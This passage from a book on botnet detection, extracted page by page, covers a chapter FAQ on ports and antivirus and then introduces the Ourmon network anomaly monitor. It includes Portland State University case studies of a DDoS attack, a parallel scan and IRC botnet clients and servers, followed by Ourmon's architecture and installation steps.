activity,\noriginally for judicial review.\n\u0002 The forensic process at the judiciary level involves strict procedures\nto maintain the admissibility and integrity of evidence. Even for\ninternal investigations, you should work as closely to those procedures\nas is practical, in case of later legal or administrative complications.\n\u0002 There is no single, simple approach to investigating a suspected\nbotnet. Make the best of all the resources that can help you out, from\nspam and abuse notifications to the logs from your network and\nsystem administration tools.\n\u0002 Automated reports generated from log reports by tools like Swatch\ndon’t just help you monitor the health of your systems; in the event\nwww.syngress.com\n212\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 231, "text": "of a security breach, they give you an immediate start on\ninvestigating what’s happened.\nQ: Why ports 135-139 and port 445? Are you picking on Microsoft?\nA: Yes, we are picking on Microsoft. In fact, historically for some reason dis-\ntributed file systems have never been something you wanted to make\naccessible via the Internet. Sun has had its problems with its Network File\nSystem. However, in recent years many botnets have included exploits\nexplicitly targeting the Microsoft File Share system. In part this is due to\npopularity and high usage; in part it’s due to numerous exploits (and lack\nof patching).\nQ: Are there other ports I need to watch?\nA: Bots and other malware can often use any port (which is why you can’t\njust stop IRC bots by blocking IRC ports), but they are often character-\nized by the use of a specific port.A number of Web resources list specific\nthreats by port, but you shouldn’t rely on their being 100 percent accu-\nrate, comprehensive, and up to date.Try Googling bot ports or Trojan ports.\nThe threat analysis reports from Joe Stewart on www.LURHQ.com, now\nmerged with SecureWorks, are a great source of information on ports and\nbot behavior.\nQ: Is it possible for a switch in one location to port-mirror packets to a\nswitch in another location?\nA: Yes. Cisco switches might have a feature called RSPAN, which can allow\nthis trick.\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n213\nFrequently Asked Questions\nThe following Frequently Asked Questions, answered by the authors of this\nbook, are designed to both measure your understanding of the concepts pre-\nsented in this chapter and to assist you with real-life implementation of these\nconcepts. To have your questions about this chapter answered by the author,\nbrowse to www.syngress.com/solutions and click on the “Ask the Author”\nform. \n" }, { "page_number": 232, "text": "Q: What’s all this Layer 2/Layer 7 stuff?\nA: We’re referring to the Open Systems Interconnection (OSI) reference\nmodel, which is an abstract model for comms and network protocol\ndesign.The model describes a network protocol in terms of seven layers.\nThese are as follows: 1, physical; 2, data link; 3, network; 4, transport; 5,\nsession; 6, presentation; 7, application.The Wikipedia entry for “OSI\nModel” is a good jumping-off point for understanding this concept if it’s\nnew to you.\nQ: Which is the best antivirus program?\nA: How long is a piece of string? There isn’t a single best-of-breed solution;\nyou have to understand the technology well enough to understand your\nneeds and then compare solutions. Look for solutions that combine a\nnumber of approaches and are flexible enough to accommodate changes\nin the threatscape, and don’t waste too much time on anyone who says\n“This is the only solution you’ll ever need” or “ … and it never needs to\nbe updated.” When you’re trying to check a suspected malware exe-\ncutable, take advantage of the multivendor virus-scanning opportunities at\nhttp://scanner.virus.org/, www.virustotal.com, and/or\nhttp://virusscan.jotti.org/. Using more than one site is useful in that they\nmight use different products and configurations, which can increase the\nlikelihood of detecting something new.\nQ: What are the advantages of on-demand and on-access scanning?\nA: On-access or real-time scanning gives you ongoing protection: Every time\nyou access a file, it’s checked for infection. On-demand scanning is usually\na scheduled scan of a whole system.That’s worth considering if you can\nset it up for a deep scan using aggressive heuristics and you can do that\nwithout making the system unusable. It’s also useful if you have systems\nthat can’t conveniently be scanned on-access.The other time you need it\nis if you’re running a forensic examination or simply cleaning up after a\nknown infection or infestation; again, you’ll need the most paranoid \nsettings.\nwww.syngress.com\n214\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 233, "text": "Q: Do I need antivirus on my Mac and Linux machines?\nA: Malware for OS X is still fairly rare, but it happens:Trojans, rootkits, even\na bot or two. Bear in mind that antivirus doesn’t just catch viruses.There\nis more malware for older Mac OS versions, though it’s seldom seen now.\nLinux has been around a lot longer than OS X and has attracted a lot\nmore malware (but very few real viruses).\nQ: What’s heterogeneous virus transmission?\nA: I’m so glad you asked me that. Sometimes you’ll find malicious programs\non a system that isn’t vulnerable to them (like a PC virus on a Mac\nserver).You still need to detect something like that in case it gets trans-\nmitted to a system that really is vulnerable.\nQ: Is there really that much difference between network and host forensics?\nA: Maybe not that much.Although bots are planted on a compromised host,\ntheir core activity is almost entirely network based.You’re likelier to iden-\ntify malicious code, suspicious configurations, and so on at the host level,\nbut it’s often possible to pick up network activity on the network and on\nthe host that’s generating it, depending on what tools you have access to.\nWe also do both because the interior of our networks tends to be less\ninstrumented than the boundary.\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n215\n" }, { "page_number": 234, "text": "" }, { "page_number": 235, "text": "Ourmon: Overview\nand Installation\nSolutions in this chapter:\n■\nCase Studies: Things That Go Bump \nin the Night\n■\nHow Ourmon Works\n■\nInstallation of Ourmon\nChapter 6\n217\n\u0002 Summary\n\u0002 Solutions Fast Track\n\u0002 Frequently Asked Questions\n" }, { "page_number": 236, "text": "Introduction\nBotnets can be difficult to detect in a network, but recently, Portland State\nUniversity’s Jim Binkley, a professor and network security engineer, modified\na tool called ourmon to detect the presence of botnets using network traffic\nanalysis.The basic idea is that ourmon detects network anomalies based on\nhosts that are attacking other hosts via denial-of-service (DoS) attacks or by\nnetwork scanning. It can then correlate this information with IRC channels\nand tell you if an entire IRC channel (set of communicating hosts) is suspi-\ncious.Thus, it is possible to find an entire set of infected hosts at one time.\nOurmon is an open source tool. Originally, it was designed for network\nmonitoring but after a period of time it was discovered that it was also an\nanomaly-based tool, meaning that once you knew what was normal, you\ncould begin to get suspicious about what was abnormal (anomalous).\nOurmon is a network-based tool and not a per-host tool like a garden-variety\nvirus detector. It typically is used to tell you the state of all the hosts in an\nenterprise from one vantage point (the logical network center) and can be\nviewed as a statistical network trend indicator.\nIn this chapter and subsequent chapters we are going to take a look at\nvarious aspects of ourmon that pertain to low-level anomaly detection and\nhigher-level detection of botnets. We will do this by looking at ourmon and\nhow it works and also by looking at a few botnet-related case histories. Here\nis our chapter plan for the chapters on ourmon.\n■\nOurmon—Overview and Installation In this chapter we intro-\nduce ourmon and explain how it works and how to install it. We also\nintroduce our case histories, which we look at in this chapter and in\nsubsequent chapters.\n■\nOurmon—Anomaly Detection Tools—including the TCP\nreport, UDP report, and e-mail reports. We look first at\nourmon’s user interface (GUI) so that we can find our tools.Then\nwe look at the low-level anomaly detection arsenal for detecting fun-\ndamental attacks of various sorts including scanning, DoS, and mass\nquantities of spam.\nwww.syngress.com\n218\nChapter 6 • Ourmon: Overview and Installation\n" }, { "page_number": 237, "text": "■\nOurmon and Botnet Detection Here we look at both botnet\nclient mesh and on-campus server mesh (C&C) detection. Ourmon\ncollects IRC information with its IRC module and uses the TCP\nreport in particular to attempt to figure out if an IRC channel is\nactually a botnet.\n■\nAdvanced Ourmon Techniques In this chapter we look at how\nwe can use ourmon to get more information about attackers\nincluding analyzing log data, using ourmon’s event-driven automated\ntcpdump feature. We will also talk about how to make ourmon more\nefficient in order to resist DDoS attacks.\nSo the basic plan is to first look at four botnet-related case histories, and\nthen discuss how ourmon works and how to install it.Then we proceed to\nthe next chapter to look at the fundamental anomaly-based tools, which do\nnot rely on IRC but simply look for “strange things” using statistics. Once we\nunderstand the anomaly-based tools we can take a look at the higher-level\nIRC-based statistics that can reveal botnets. Finally, we will take a look at\nsome advanced data-mining tools and techniques that can help you differen-\ntiate borderline cases where, for example, it may not be clear that a given\nIRC host is due to malware, an IRC game, or possibly even a hacked host\nwith an IRC channel used by a group of hackers for discussion or warez \ndistribution.\nTIP\nHere are some Web sites for either downloading ourmon or getting\nmore information about it:\n■\nhttp://ourmon.sourceforge.net—ourmon info and download\npage at sourceforge\n■\nhttp://sourceforge.net/projects/ourmon—ourmon project page\nat sourceforge\n■\nhttp://ourmon.cat.pdx.edu/ourmon—live data page at\nPortland State University\n■\nhttp://ourmon.cat.pdx.edu/ourmon/info.html—online help for\nourmon\nwww.syngress.com\nOurmon: Overview and Installation • Chapter 6\n219\n" }, { "page_number": 238, "text": "Case Studies: Things \nThat Go Bump in the Night\nBefore we take the plunge and give an overview of ourmon’s architecture,\nlet’s first present four real-world case studies that we will reinforce as we go\nalong. Here we will just briefly present some ourmon outputs in the form of\nreports or Web graphs and discuss them a little bit. Don’t worry if you don’t\nget all the details here. First let’s understand the big picture and details will\nemerge in later chapters. Each case study has a short name tag to go with it\nand there are four in all. One thing to point out is that all these cases are\nbotnet related. We should also point out that all four cases have been collected\nfrom the Portland State University network. PSU currently has about 10,000\nEthernet switch ports with 26,000 students and faculty and a gigabit connec-\ntion to the Internet. It’s a large network and can be said to be typical of larger\nenterprise networks.\nCase Study #1: DDoS \n(Distributed Denial of Service)\nOurmon uses graphics based on Tobias Oetiker’s popular RRDtool system\n(http://oss.oetiker.ch/rrdtool). Figure 6.1 shows a typical RRDtool graph\nused in ourmon. In this case, the graph (or filter in ourmon lingo) is called the\npkts filter, which shows how many packets per second (pps) the ourmon\nsystem is processing. It also shows whether the operating system and ourmon\ncollection system are dropping packets.The system will drop packets when\nthere is too much work to do and not enough time. In this case, we are not\ndropping packets. We see a daily stripchart, where the current time (now) is on\nthe right-hand side and “moves” left based on ourmon’s cycle time of 30 sec-\nonds. In other words, the graph is updated twice a minute. Essentially, this is a\nnormal graph and shows PSU’s normal daily traffic with an early afternoon\npeak of 60k pps.\nwww.syngress.com\n220\nChapter 6 • Ourmon: Overview and Installation\n" }, { "page_number": 239, "text": "Figure 6.1 Normal Traffic—Pkts Filter\nTIP\nIt is important to understand what is normal in order to understand\nwhat is abnormal. You need to observe your ourmon graphs and data\ndaily and over time build up some idea of what is normal. Then you\nwill be able to spot anomalies.\nIn Figure 6.2 we see a very abnormal version of the pkts filter.This is a\nDDoS attack. Keep in mind that there are thousands of hosts contributing to\nthis graph. However, it is also possible for one host to put a spike in the graph\nwith a DoS attack.\nIf you were the head network engineer and you looked at this graph, you\nmight reach for the aspirin.There’s an anomaly now. Hopefully, you can spot\nit! Instead of the daily peak of 60,000 pps, apparently 870,000 pps have\ndecided to show up for a brief time.The theoretical maximum for a gigabit\nEthernet connection for 64-byte (minimum size) packets is on the order of\n1.4 million pps.This is close enough (and bad). Ourmon and some human\nintelligence eventually got to the bottom of this attack.Apparently a student\non campus was having a dispute with another person external to campus.The\nother person used a botnet to stage a multiple-system, large DoS attack on\nwww.syngress.com\nOurmon: Overview and Installation • Chapter 6\n221\n" }, { "page_number": 240, "text": "the PSU student’s IP host (and on port 22, the ssh port) for “revenge.” Many\nhosts (1000s) sent small TCP SYN packets to one PSU host.A botnet was\nused as the attack vehicle.This attack and similar attacks have damaged net-\nwork services on campus at times in various ways. It is often the case that a\nDDoS attack will do damage to innocent parties by perhaps clogging up the\nInternet connection or causing network equipment to crash or suffer\ndegraded performance. In fact, this attack caused ourmon to more or less stop\nduring the attack because all the operating system could do was drop packets.\nThe lesson here is that botnets can cause serious resource problems. We will\nreturn to this case study in Chapter 9 when we give some advanced tech-\nniques for interpreting ourmon data. One important lesson here:A remote\nDDoS attack via a botnet may take your network (or your network instru-\nmentation) off the air.\nFigure 6.2 External DDoS Attack\nCase Study #2: External Parallel Scan\nIn the next chapter (Chapter 7), we will talk about some fundamental tools\nthat ourmon uses to detect anomalies of various kinds.These include scan\ndetection tools. In Figure 6.3 we see a picture of a particular ourmon feature\ncalled the worm graph that graphs the number of internal (home subnet) or\nexternal network “worms.”A “worm,” in this case, doesn’t really mean hosts\nhaving viruses. It more or less means hosts exhibiting behavior you might\nexpect from a worm. In ourmon, a host that scans is said to be wormy. We\nwww.syngress.com\n222\nChapter 6 • Ourmon: Overview and Installation\n" }, { "page_number": 241, "text": "show scanners with a red color for outside to inside (them) and green for\ninside to outside (us). In this case we had a rather alarming scan with over\n2,000 hosts from the outside to the inside.Again, this had to be a botnet. It\nwas used to perform a parallel scan of PSU’s /16 address space.This graph\nsometimes shows parallel scans and sometimes shows DDoS attacks. In this\ncase, data elsewhere showed that a hacker was looking for e-mail systems at\nport 25.This particular tool is related to the TCP port report, which we will\ndiscuss in the next chapter at length.\nFigure 6.3 The Worm Graph—Parallel Scan\nNotes from the Underground\nHackers Fingering Hackers\nA graph like the one presented above once occurred because appar-\nently hacker party A got mad at hacker party B and staged a botnet-\nbased DoS attack on party B’s box and IRC server. However, party B’s\nbox happened to be a very important but badly administered Windows\nserver. The hackers didn’t know that the box had important adminis-\ntrative software on it. The administrators didn’t know that the box had\nhackers on it. The upshot of the massive DoS attack was that the\nadministrators finally discovered that box B was hacked and fixed it.\nwww.syngress.com\nOurmon: Overview and Installation • Chapter 6\n223\n" }, { "page_number": 242, "text": "Case Study #3: Bot Client\nFor our discussion of ourmon in this section, we are using two tables taken\nfrom an ourmon report called the IRC report (see Tables 6.1 and 6.2).This\nreport is produced hourly and is a statistical analysis of various IRC channels\nseen in the packet stream. We have simplified the report and left out all kinds\nof details and numbers and reduced it to two tables for our discussion here.\nFrom a thousand miles up, the IRC report consists of a set of IRC channels\n(chat room names) and the IRC hosts that belong to those channels (IP\naddresses). Various statistics and sorts are presented for both channels and IRC\nhosts. Channels and hosts may be sorted in various ways including most mes-\nsages in a channel.\nTable 6.1 IRC Report: Evil Channel Sort\nchannel\nmsgs\njoins\nprivmsgs ipcount\nwormyhosts\nevil?\nlsass445\n4572\n187\n4385\n11\n8\nE\n.i-exp\n1\n0\n1\n2\n1\ne\nalien\n122\n92\n30\n2\n1\ne\nhobo\n12\n8\n4\n3\n1\ne\nTable 6.2 IRC Report: Channel List for Channel Hobo\nhobo\nmsg stats\nmax ww\nclient/server\nports\n192.168.2.3\n199\n95\nH\n4929/504\n192.168.2.4\n159\n40\nH\n1028/21958\n10.0.0.1\n756\n50\nS\n25394/2777\nOur first table gives the evil channel sort. In this sort we rank channels high\nif they have more hosts in them with per-host higher-scanning weights. We\nwill talk more about the scanning weight in the next chapter. For now, accept\nthat we are just counting hosts (under the wormyhosts label).A scanner is a\nhost that performed what appears to be an act of scanning. It is simply\nlooking for other hosts—probably to attack them with an exploit. So for\nsome reason channel lsass445 had eight scanners apparently out of 11 hosts.\nwww.syngress.com\n224\nChapter 6 • Ourmon: Overview and Installation\n" }, { "page_number": 243, "text": "Given eight scanners out of 11 hosts in the channel including any IRC\nservers, it is pretty likely that this channel is a botnet. However, false positives\ndo occur and a channel with just a host or two with a high scanner weight\nmay easily turn out to be a false positive (not guilty). We call the scanning\nweight the TCP work weight and will talk more about it in the next chapter.\nWe are also interested in the other three channels because they are borderline\ncases and far less easy to declare a botnet client network. Here it turned out\nthat channels hobo and .i-exp were botnet channels with the same IP server\naddress (we are not giving real IP addresses and will confine ourselves to\ngiving addresses as either net 192.168/16 or 10/8. In our examples, addresses\nwith 192.168 as a prefix may be assumed to be local.Addresses using net 10\nmay be assumed to be remote). It turns out that alien is innocent, and the\nother two channels are guilty. We will explain these details in Chapter 8 on\nbotnets, and in that chapter and Chapter 9 give more details about how we\ninvestigated our data to determine if these channels were botnets.\nNotes from the Underground…\nFrom the enterprise perspective, you may encounter two types of botnet\nenvironments in your log files. The set of hosts participating in the bot\ntraffic is called a mesh. You determine the type of mesh based on\nwhether the botnet server is located inside or outside your enterprise:\n■Client bot mesh This is the term for a set of botnet clients\nthat exists within a campus or enterprise and communicates\nwith an external botnet server. Botnet clients are sometimes\ncalled zombies.\n■Server bot mesh This bot mesh includes an on-site botnet\nserver. Botnet servers are sometimes called Command and\nControl (C&C) hosts. \nwww.syngress.com\nOurmon: Overview and Installation • Chapter 6\n225\n" }, { "page_number": 244, "text": "Case Study #4: Bot Server\nCase study #4 is about how we can detect an on-campus botnet server\n(C&C). Ourmon has the IRC report mentioned before and also a small set of\nRRDtool-based graphs, as seen in Figure 6.4.The graph shows the total net-\nwork count of important IRC protocol message counts including JOIN,\nPINGS, PONGS, and PRIVMSGS. We suspect you can spot the anomaly.\nPING and PONG messages are used between servers and clients to maintain\nconnectivity (JOINS too for that matter). Our normal count for PING and\nPONG messages is about 30 per sample period (a sample period is the 30-\nsecond fundamental ourmon sample time).All of a sudden PINGs and\nPONGS have gone way up. Wonder why? Simple.A botnet client was turned\ninto a botnet server and all of a sudden had around 50,000 remote botnet\nclients. Our IRC report shows the amazing upsurge in connectivity as well.\nWe will return to this botnet server case in a later chapter.\nFigure 6.4 IRC Message Counts\nwww.syngress.com\n226\nChapter 6 • Ourmon: Overview and Installation\n" }, { "page_number": 245, "text": "Tools & Traps…\nBotnet Servers and Clients\nBotnet servers can have thousands of clients. Typical IRC channels used\nfor chat by real human beings will not have that many clients. At our\nschool we have never seen an IRC channel with more than 50 hosts in\nit used for real human chat. Thus, if you see an IRC channel with 36,000\nhosts in it, you can be fairly sure you have a botnet server.\nA botnet client is a piece of software. It may download a new ver-\nsion of itself. It can take commands from the C&C server. Thus, a botnet\nclient can become a botnet server at any time. Or it can change its IRC\nchannel, port, remote botnet server IP, and probably other attributes as\nwell, including the set of attacks it uses. It is just software and it can\nalways download a new version with more capabilities. \nHow Ourmon Works\nIn order to install and use ourmon, it is necessary to understand its architec-\nture. In this section please refer to Figure 6.5, the Ourmon Architecture\nOverview, for our discussion. We will introduce some important configura-\ntion files and output files as we go along.\nFirst of all, we need to understand that as software, ourmon is a packet-\nsniffing system and it has to be hooked up to a network in such a way that it\neither gets all the packets via an Ethernet switch set up to do port mirroring\n(send packets from one port to the ourmon sniffing port) or via the older\nEthernet hub technology that by default shares all packets on all Ethernet\nports. We can call this setup network capture. It is also possible to run ourmon\non a single host to just look at that host’s packets, which we might call host\ncapture.This may make sense for an important server or for a host that for\nsome reason you believe to be the target of hackers. Normally, however,\nourmon is an enterprise-level tool and is used for watching all the packets in\nan enterprise (or all the packets in a server farm). We will assume an enter-\nprise install in this book.\nwww.syngress.com\nOurmon: Overview and Installation • Chapter 6\n227\n" }, { "page_number": 246, "text": "Figure 6.5 Ourmon Architecture Overview\nOurmon has two big software pieces, which we call either:\n■\nThe probe (sometimes called the front-end in ourmon documenta-\ntion), which sniffs packets and summarizes them into various bits of\nstatistical information.\n■\nThe back-end graphics engine, which processes the probe’s outputs and\nmakes Web graphics,ASCII reports, log entries, and reports and\nmakes some of the results available on the Web via the ourmon Web\ninterface. Some results (like logs) are not available on the Web.The\ngraphics engine requires the user to install a Web server (like the\npopular Apache Web server).\nThe probe is written in C and uses the libpcap library to read packets out\nof a kernel buffer. Libpcap (from www.tcpdump.org) is a library used in\nUNIX systems that hides the details of packet sniffing so that tools like\nourmon and snort, which use it, are more portable.The ourmon probe is\nactually called ourmon (perhaps not a clever name) and is typically invoked at\nboot via a shellscript called ourmon.sh as follows:\nwww.syngress.com\n228\nChapter 6 • Ourmon: Overview and Installation\nInternet \nSwitch or hub\nInternal net\nFirst stage probe\nPackets\nSecond stage analysis box\nProbe outputs\nAnalysis functions can include:\n1. Data logging\n2. Analysis\n3. Visualization\n" }, { "page_number": 247, "text": "# ourmon.sh start\nOr it can be stopped just as easily with:\n# ourmon.sh stop\nThe probe is configured via an ASCII configuration file called\nourmon.conf, which is supplied but needs some customization. For example,\nit is important to set an enterprise home network address plus mask.This enables\nourmon to determine if IP addresses belong to your enterprise or are\nexternal.The probe runs (we hope) forever and is typically started at the boot\ntime for the system.The probe can run on Linux or FreeBSD. We prefer\nFreeBSD for heavy packet loads, but Linux will work. (We will talk in\nChapter 9 a bit more about how to optimize the probe).The probe produces\na set of heavily aggregated output files.These ASCII files are fed as inputs to\nthe back-end graphics engine.The probe’s output files thus become the back-end\ngraphics engine’s input files.\nWe should point out that as an optimization it is possible to install the\nprobe on a separate box and then arrange for the output files to somehow be\ncopied to the back-end graphics engine box.This enables you to devote more\nCPU to the probe host and also to isolate the Web server behind a firewall\n(out of your DMZ) if desired.The simplest installation is to put all parts of\nourmon on the same host, though (which will be our assumption for this\nbook).\nOne other point to make about the probe and the graphics-engine soft-\nware is what we might call cycle-times.There are a number of cycle-times in\nthe system.This concept is fundamental to network management and ourmon\nat base is a network management system that happens to do interesting\nanomaly detection as well.The probe runs in a 30-second cycle. In other\nwords, every 30 seconds it generates a snapshot of packet inputs in its various\noutput files (for example, the main output file for the probe is called mon.lite,\nbut it’s just an ASCII file full of data). So basically the probe runs for 30 sec-\nonds, generates a bunch of statistics in various forms, and then writes those\nstats out and zeroes its counters, starting over.This gives us a view of the net-\nwork that is shown in the back end that we can call the “current” view.This\nview never lags more than one minute behind what is going on now. So in\nsummary the probe produces data at 30-second snapshot intervals.This is not\na real-time view, but is typically described as “near-time” because it does not\nwww.syngress.com\nOurmon: Overview and Installation • Chapter 6\n229\n" }, { "page_number": 248, "text": "lag very far behind reality. Now we can talk about the graphics-engine soft-\nware, which has some additional cycle times including hourly and daily sum-\nmarizations for reports.\nThe graphics-engine software is driven out of a UNIX crontab script\nentry with three fundamental cycle times. Crontab is just a way for UNIX to\nschedule tasks. Once a minute a script called omupdate.sh is invoked that pro-\nduces Web page/graphics and 30-second ASCII reports.This script actually\ndoes its work twice a minute so that ourmon can have its 30-second update\nof Web information.There are also scripts that run on the hour and one\nscript that runs around midnight. Hourly scripts take 30-second logged infor-\nmation and produce hourly summarization reports.The midnight run takes\nthe last hourly report of the day and creates a daily report. Ourmon keeps\nroughly a week of daily reports around. Not everything has a daily report, but\nthere are a number of such reports that will be important for our botnet-\nrelated work. Figures 6.1, 6.2, and 6.3 (note the graph label “Daily”) are\nexamples of 30-second outputs and are examples of the RRDtool sub-system\nas well.Table 6.1 for our botnet client case is an hourly summarization for the\ncurrent day in the form of an ASCII report.Thirty-second summaries for\nIRC do exist as a report, but they typically aren’t very useful until summa-\nrized simply because IRC is a slow and sporadic communications mechanism.\nThe back-end graphics-engine software can be said to be organized\naround the cycle-time concept, which is related to an old network manage-\nment notion called baselining. Baselining simply means we want the system to\ngive us some notion of history about the data. For example, in Figure 6.4 we\ncan see a week’s worth of IRC message counts and this lets us see at a glance\nthat Friday was a bit exceptional.The Web server software portion produces\ntwo kinds of graphics, including RRDtool strip charts and top N talker his-\ntograms. In this book we neglect the histograms because they are more\nimportant for traditional flow-based network monitoring. However, the\nRRDtool strip charts have an interesting feature and that is that any\nRRDtool strip chart in ourmon comes as a set of four including daily,\nweekly, monthly, and yearly graphs.This enables us to baseline data over a\nyear.ASCII report data, like the anomaly reports we look at in the next\nchapter, including the TCP and UDP reports and the botnet ASCII reports in\nChapter 8, only have one week’s worth of data at the most. Put another way,\nwww.syngress.com\n230\nChapter 6 • Ourmon: Overview and Installation\n" }, { "page_number": 249, "text": "if it’s not RRDtool data, we may have a 30-second report (now), an hourly\nsummarization, and a daily summarization. We keep about one week’s worth\nof ASCII daily summarizations.\nRoughly, the back-end graphics engine produces the following kinds of\ndata placed on the Web:\n■\nRRDtool strip charts. Figure 6.1 is an example.\n■\nThirty-second ASCII reports. We will see an example of this in the\nnext chapter called the TCP port report.\n■\nHourly summarizations, which are rolled over to daily summariza-\ntions at midnight. Our bot client information in Tables 6.1 and 6.2 is\nan example.\n■\nThere is also an event log (which is kept as a daily report for a week\nand rolled over every day). Important system events (like warnings\nabout too many IP hosts in an IRC channel) are logged in the event\nlog, which is also available in a daily/weekly format like the summa-\nrized reports. We will discuss the event log in the final ourmon\nchapter.\nThe back-end graphics engine also stores two kinds of logging informa-\ntion. One directory called rrddata stores RRDtool data, which has a special\nformat that enables the one year of baselining graphs to be created.The other\ndirectory, called logs, is where the back-end graphics engine scripts store all\nlogging information for anything in ourmon that is not RRDtool related. For\nexample, 30-second IRC reports from the front end are stored here and are\nthen built into hourly summaries placed on the Web. We will return to the\nlogs directory in Chapter 9 for some advanced data-mining techniques that\ncan help us extract botnet-related IP addresses from data stored in some of\nthe log directories. One important aspect of the ourmon log system is that in\ngeneral it gets to a certain size after a week and doesn’t get any bigger.\nRRDtool logs have a fixed permanent size when first created, so they don’t\ngrow over time either.The other kinds of data stored in the logs directory are\nrotated every day so that, for example, today becomes yesterday, yesterday\nbecomes the day before yesterday, etc.The very last day is deleted.Thus the\nlogs reach a rough size and don’t become an administrative problem.\nwww.syngress.com\nOurmon: Overview and Installation • Chapter 6\n231\n" }, { "page_number": 250, "text": "Installation of Ourmon\nIn this section we will assume that you just downloaded the ourmon tar\narchive that will have a name something like ourmon27.tar.gz and you wish to\ninstall it. We must first discuss ourmon’s directory layout so that you know\nwhich files are which and where to look for data. We then discuss library\ndependencies, which are needed by both the probe and Web server software.\nFinally, we discuss running the configure.pl configure script that does most of\nthe work and also touch on how to bring the system up.\nTIP\nWe typically install ourmon in a /home/mrourmon directory and will\nmake that assumption for the remainder of our discussion. If you have\nproblems with installation, be sure and look at these two files for\nmore information:\n/home/mrourmon/INSTALL—installation guide\n/home/mrourmon/src/web.pages/info.html—ourmon help file (use a\nWeb browser)\nWith a few exceptions, ourmon is a self-contained system that can be\ninstalled anywhere on a UNIX system.The best approach is to unpack it (tar\nxzvf ourmon27.tar.gz) and then decide if you want the system where you\nunpacked it or if you want to move it somewhere else.Assuming you are\nhappy with your install directory, it is a good idea to read the INSTALL file\nbefore you install it, and then run configure.pl, which will configure and install\nthe system.\nImportant directories and files (for example, /home/mrourmon) are\nlocated within the base of the ourmon directory (see Table 6.3).\nwww.syngress.com\n232\nChapter 6 • Ourmon: Overview and Installation\n" }, { "page_number": 251, "text": "Table 6.3 Ourmon Directory Guide \ndirectory/filename\nnotes\nINSTALL\ninstall howto file\nconfigure.pl\nourmon configure script—run to build, install\nbin\nexecutables including shellscripts—installed by\nconfigure.pl\nbin/ourmon\nthe probe executable\nbin/ourmon.sh\nthe shellscript wrapper that starts/stops the\nprobe\nbin/omupdate.sh\nthe shellscript wrapper that runs the graphics\nengine \nbin/omupdate.pl\nthe most important back-end script—there are\nothers\netc/ourmon.conf\nprobe configuration and input file\nlogs/*\nnon-RRDtool ASCII log directories (lots of\nthem)\nlogs/portreport\nTCP port report logs—will look at this in later\nchapter\nrrddata\nRRDtool log directory\nrrddata/ourmon.log\nRRDtool error output file—look here if RRD\nproblems\nweb.pages\nsymbolic link to ourmon Web browser data\ndirectory\nweb.pages/index.html\nmain ourmon html file—installed by con-\nfigure.pl\nweb.pages/info.html\nourmon help—refer to this for detailed info\non output and configuration\nsrc/ourmon\nourmon probe source—note Makefile for\nBSD/Linux\nsrc/web.code\nourmon back-end scripts\nsrc/web.pages\nourmon-supplied static html pages—installed\nby configure.pl\nwww.syngress.com\nOurmon: Overview and Installation • Chapter 6\n233\n" }, { "page_number": 252, "text": "WARNING\nIn addition to the above important files and directories contained\nwithin the ourmon directory subsystem, there are some external direc-\ntories. For example, depending on the local Apache Web server setup,\nyou might have an external directory like /var/www/htdocs/ for\ngraphics-engine-generated data files to be put on the Web. You need\nto know the name of the external data directory for Web files before\nyou run configure.pl. The system data directory for Apache servers is\ndifferent from installation to installation. Refer to the Apache docu-\nmentation for more information. You can find Apache at\nwww.apache.org.\nLet us first talk about system dependencies.This means those libraries or\nfacilities assumed by the underlying ourmon system. Because ourmon is an\nopen-source system, we don’t install binaries. We give you the source code,\nand therefore a C compiler and Perl are understood as system components. In\naddition, there are four pieces of software that the open-source ourmon\nsystem assumes are available.Three of them need to be installed before you run\nconfigure.pl.The important system dependencies are:\n■\nA Web server. Installation of a Web server is necessary and we recom-\nmend Apache (www.apache.org).\n■\nlibpcap.a.This is needed by the probe.Typically, this isn’t a problem,\nbut if it is, download and install it from www.tcpdump.org.\nUnfortunately, some UNIX distributions have an old version of\nlibpcap. If you run the probe the first time, and it exits and complains\nabout parsing errors in the supplied ourmon.conf BPF expressions,\nthen you need to download your own version of libpcap and \ninstall it.\n■\nlibpcre.a.This is also needed by the probe for pattern-matching tags.\nOften libpcre.a is installed in /usr/local/lib (or /usr/lib).The main Web\nsite for it is: www.pcre.org.A port for it exists on FreeBSD in /usr/\nports/devel/pcre. On ubuntu Linux this command should install it:\n# apt-get install libpcre3\nwww.syngress.com\n234\nChapter 6 • Ourmon: Overview and Installation\n" }, { "page_number": 253, "text": "■\nRRDtool. RRDtool Perl libraries are needed by the Web server soft-\nware.You can get it from Tobia Oetiker’s RRDtool site\n(http://oss.oetiker.ch/rrdtool).\nTIP\nFor FreeBSD, a port for ourmon itself exists that can be found on our\nourmon site. The Web page for the release mentioned in this book is:\nhttp://ourmon.cat.pdx.edu/ourmon/distros/fbsd.port.27. Files found\nthere can be used to automatically install ourmon. The port deals with\ndependency issues (barring Apache).\nFor Linux, see the /home/mrourmon/ubuntudep.sh shellscript in the\nbase ourmon directory, which uses the Debian getapt utility to install\nthe needed dependencies. After running this script, you can go ahead\nand run configure.pl.\nNow we can run configure.pl, but first it is wise to be aware of what it will\ntry to do and of the questions it will ask you. In general, when it asks a ques-\ntion you can go with the default (just press Enter), but sometimes you may\nwant to change the answer to get things right.There are a couple of important\nquestions that you want to get right. If configure.pl can’t find a compile-time\ndependency (like libpcap) for the probe, it will complain and stop. However, it\ndoesn’t care if RRDtool is installed or not (you want to make sure that\nRRDtool does get installed).We will, however, give you a tip below for\nchecking the RRDtool install. Roughly, configure.pl does the following things:\n1. It compiles and installs the ourmon probe in the bin directory.\n2. It creates a bin/ourmon.sh script for running the probe.\n3. It installs a copy of the ourmon.sh script in whatever system direc-\ntory is needed so that ourmon will start at system boot time.\n4. It modifies /home/mrourmon/etc/ourmon.conf with a home het-\nwork net/mask and also may modify the back-end graphics software\nso that all the ourmon system knows the difference between home\nnetwork IP addresses and remote IP addresses.\nwww.syngress.com\nOurmon: Overview and Installation • Chapter 6\n235\n" }, { "page_number": 254, "text": "5. It installs the graphics-engine software in the ourmon bin directory.\n6. It creates log directories as needed.\n7. It installs the supplied Web pages in the system ourmon Web \ndirectory.\nBefore you run configure.pl, spend some time going over the configuration\ntips in the next section.\nOurmon Install Tips and Tricks\nWhen you use configure.pl to install the ourmon software, there are a couple of\nimportant things you should know first:\n1. Know the name of your Ethernet interface.The configure.pl script will\ntry to guess, but it may get it wrong. For example, on FreeBSD it\nmight be em0. On Linux it 